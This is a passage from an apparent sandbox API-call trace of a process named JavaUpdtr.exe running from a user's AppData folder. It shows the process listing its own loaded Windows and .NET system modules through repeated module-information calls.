"c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0115.864] GetLastError () returned 0x7f [0115.864] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x2810238, cb=0xc | out: lpmodinfo=0x2810238*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0115.865] GetLastError () returned 0x7f [0115.865] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0115.865] GetLastError () returned 0x7f [0115.865] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0115.866] GetLastError () returned 0x7f [0115.866] CloseHandle (hObject=0x200) returned 1 [0115.866] GetLastError () returned 0x7f [0115.921] GetCurrentProcessId () returned 0x4e8 [0115.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0115.921] GetLastError () returned 0x7f [0115.921] EnumProcessModules (in: hProcess=0x200, lphModule=0x27023d8, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x27023d8, lpcbNeeded=0x31c9a8) returned 1 [0115.922] GetLastError () returned 0x7f [0115.922] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x2702518, cb=0xc | out: lpmodinfo=0x2702518*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0115.922] GetLastError () returned 0x7f [0115.922] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0115.922] GetLastError () returned 0x7f [0115.922] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0115.922] GetLastError () returned 0x7f [0115.922] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x270367c, cb=0xc | out: lpmodinfo=0x270367c*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0115.922] GetLastError () returned 0x7f [0115.922] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0115.923] GetLastError () returned 0x7f [0115.923] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0115.923] GetLastError () returned 0x7f [0115.923] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x2704770, cb=0xc | out: lpmodinfo=0x2704770*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0115.923] GetLastError () returned 0x7f [0115.923] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0115.923] GetLastError () returned 0x7f [0115.923] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0115.923] GetLastError () returned 0x7f [0115.924] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x270586c, cb=0xc | out: lpmodinfo=0x270586c*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0115.924] GetLastError () returned 0x7f [0115.924] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0115.924] GetLastError () returned 0x7f [0115.924] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0115.924] GetLastError () returned 0x7f [0115.924] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x2706970, cb=0xc | out: lpmodinfo=0x2706970*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0115.924] GetLastError () returned 0x7f [0115.924] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0115.925] GetLastError () returned 0x7f [0115.925] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0115.925] GetLastError () returned 0x7f [0115.925] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x2707aac, cb=0xc | out: lpmodinfo=0x2707aac*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0115.925] GetLastError () returned 0x7f [0115.925] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0115.925] GetLastError () returned 0x7f [0115.925] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0115.926] GetLastError () returned 0x7f [0115.926] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x2708bb0, cb=0xc | out: lpmodinfo=0x2708bb0*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0115.926] GetLastError () returned 0x7f [0115.926] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0115.926] GetLastError () returned 0x7f [0115.926] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0115.926] GetLastError () returned 0x7f [0115.927] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x2709cac, cb=0xc | out: lpmodinfo=0x2709cac*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0115.927] GetLastError () returned 0x7f [0115.927] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0115.927] GetLastError () returned 0x7f [0115.927] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0115.927] GetLastError () returned 0x7f [0115.927] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x270ada8, cb=0xc | out: lpmodinfo=0x270ada8*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0115.928] GetLastError () returned 0x7f [0115.928] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0115.928] GetLastError () returned 0x7f [0115.928] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0115.928] GetLastError () returned 0x7f [0115.928] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x270bef4, cb=0xc | out: lpmodinfo=0x270bef4*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0115.929] GetLastError () returned 0x7f [0115.929] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0115.929] GetLastError () returned 0x7f [0115.929] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0115.929] GetLastError () returned 0x7f [0115.929] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x270cff0, cb=0xc | out: lpmodinfo=0x270cff0*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0115.930] GetLastError () returned 0x7f [0115.930] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0115.930] GetLastError () returned 0x7f [0115.930] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0115.930] GetLastError () returned 0x7f [0115.930] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x270e0f4, cb=0xc | out: lpmodinfo=0x270e0f4*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0115.931] GetLastError () returned 0x7f [0115.931] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0115.931] GetLastError () returned 0x7f [0115.931] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0115.931] GetLastError () returned 0x7f [0115.931] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x270f22c, cb=0xc | out: lpmodinfo=0x270f22c*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0115.932] GetLastError () returned 0x7f [0115.932] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0115.932] GetLastError () returned 0x7f [0115.932] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0115.932] GetLastError () returned 0x7f [0115.932] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x2710328, cb=0xc | out: lpmodinfo=0x2710328*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0115.933] GetLastError () returned 0x7f [0115.933] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0115.933] GetLastError () returned 0x7f [0115.933] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0115.934] GetLastError () returned 0x7f [0115.934] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x271141c, cb=0xc | out: lpmodinfo=0x271141c*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0115.934] GetLastError () returned 0x7f [0115.934] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0115.934] GetLastError () returned 0x7f [0115.935] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0115.935] GetLastError () returned 0x7f [0115.935] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x2712518, cb=0xc | out: lpmodinfo=0x2712518*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0115.935] GetLastError () returned 0x7f [0115.935] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0115.936] GetLastError () returned 0x7f [0115.936] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0115.936] GetLastError () returned 0x7f [0115.936] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x2713604, cb=0xc | out: lpmodinfo=0x2713604*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0115.937] GetLastError () returned 0x7f [0115.937] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0115.937] GetLastError () returned 0x7f [0115.937] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0115.937] GetLastError () returned 0x7f [0115.938] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x2714788, cb=0xc | out: lpmodinfo=0x2714788*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0115.938] GetLastError () returned 0x7f [0115.938] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0115.938] GetLastError () returned 0x7f [0115.938] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0115.939] GetLastError () returned 0x7f [0115.939] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x271587c, cb=0xc | out: lpmodinfo=0x271587c*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0115.939] GetLastError () returned 0x7f [0115.939] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0115.940] GetLastError () returned 0x7f [0115.940] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0115.940] GetLastError () returned 0x7f [0115.940] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x2716970, cb=0xc | out: lpmodinfo=0x2716970*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0115.940] GetLastError () returned 0x7f [0115.941] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0115.941] GetLastError () returned 0x7f [0115.941] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0115.941] GetLastError () returned 0x7f [0115.941] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2717a6c, cb=0xc | out: lpmodinfo=0x2717a6c*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0115.942] GetLastError () returned 0x7f [0115.942] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0115.942] GetLastError () returned 0x7f [0115.942] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0115.943] GetLastError () returned 0x7f [0115.943] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x2718ba4, cb=0xc | out: lpmodinfo=0x2718ba4*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0115.943] GetLastError () returned 0x7f [0115.943] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0115.944] GetLastError () returned 0x7f [0115.944] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0115.944] GetLastError () returned 0x7f [0115.944] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x2719d38, cb=0xc | out: lpmodinfo=0x2719d38*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0115.945] GetLastError () returned 0x7f [0115.945] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0115.945] GetLastError () returned 0x7f [0115.945] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0115.946] GetLastError () returned 0x7f [0115.946] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x271ae34, cb=0xc | out: lpmodinfo=0x271ae34*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0115.946] GetLastError () returned 0x7f [0115.946] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0115.947] GetLastError () returned 0x7f [0115.947] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0115.947] GetLastError () returned 0x7f [0115.947] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x271bf28, cb=0xc | out: lpmodinfo=0x271bf28*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0115.948] GetLastError () returned 0x7f [0115.948] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0115.948] GetLastError () returned 0x7f [0115.948] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0115.956] GetLastError () returned 0x7f [0115.956] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x271d024, cb=0xc | out: lpmodinfo=0x271d024*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0115.956] GetLastError () returned 0x7f [0115.956] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0115.957] GetLastError () returned 0x7f [0115.957] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0115.957] GetLastError () returned 0x7f [0115.958] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x271e1bc, cb=0xc | out: lpmodinfo=0x271e1bc*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0115.958] GetLastError () returned 0x7f [0115.958] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0115.959] GetLastError () returned 0x7f [0115.959] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0115.959] GetLastError () returned 0x7f [0115.959] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x271f2b8, cb=0xc | out: lpmodinfo=0x271f2b8*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0115.960] GetLastError () returned 0x7f [0115.960] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0115.960] GetLastError () returned 0x7f [0115.960] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0115.961] GetLastError () returned 0x7f [0115.961] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x27203f0, cb=0xc | out: lpmodinfo=0x27203f0*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0115.961] GetLastError () returned 0x7f [0115.961] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0115.962] GetLastError () returned 0x7f [0115.962] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0115.963] GetLastError () returned 0x7f [0115.963] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x272157c, cb=0xc | out: lpmodinfo=0x272157c*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0115.963] GetLastError () returned 0x7f [0115.963] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0115.964] GetLastError () returned 0x7f [0115.964] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0115.964] GetLastError () returned 0x7f [0115.964] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x2722738, cb=0xc | out: lpmodinfo=0x2722738*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0115.965] GetLastError () returned 0x7f [0115.965] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0115.966] GetLastError () returned 0x7f [0115.966] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0115.966] GetLastError () returned 0x7f [0115.966] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x272391c, cb=0xc | out: lpmodinfo=0x272391c*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0115.967] GetLastError () returned 0x7f [0115.967] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0115.967] GetLastError () returned 0x7f [0115.967] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0115.968] GetLastError () returned 0x7f [0115.968] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x2724abc, cb=0xc | out: lpmodinfo=0x2724abc*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0115.969] GetLastError () returned 0x7f [0115.969] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0115.969] GetLastError () returned 0x7f [0115.969] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0115.970] GetLastError () returned 0x7f [0115.970] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x2725ce0, cb=0xc | out: lpmodinfo=0x2725ce0*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0115.970] GetLastError () 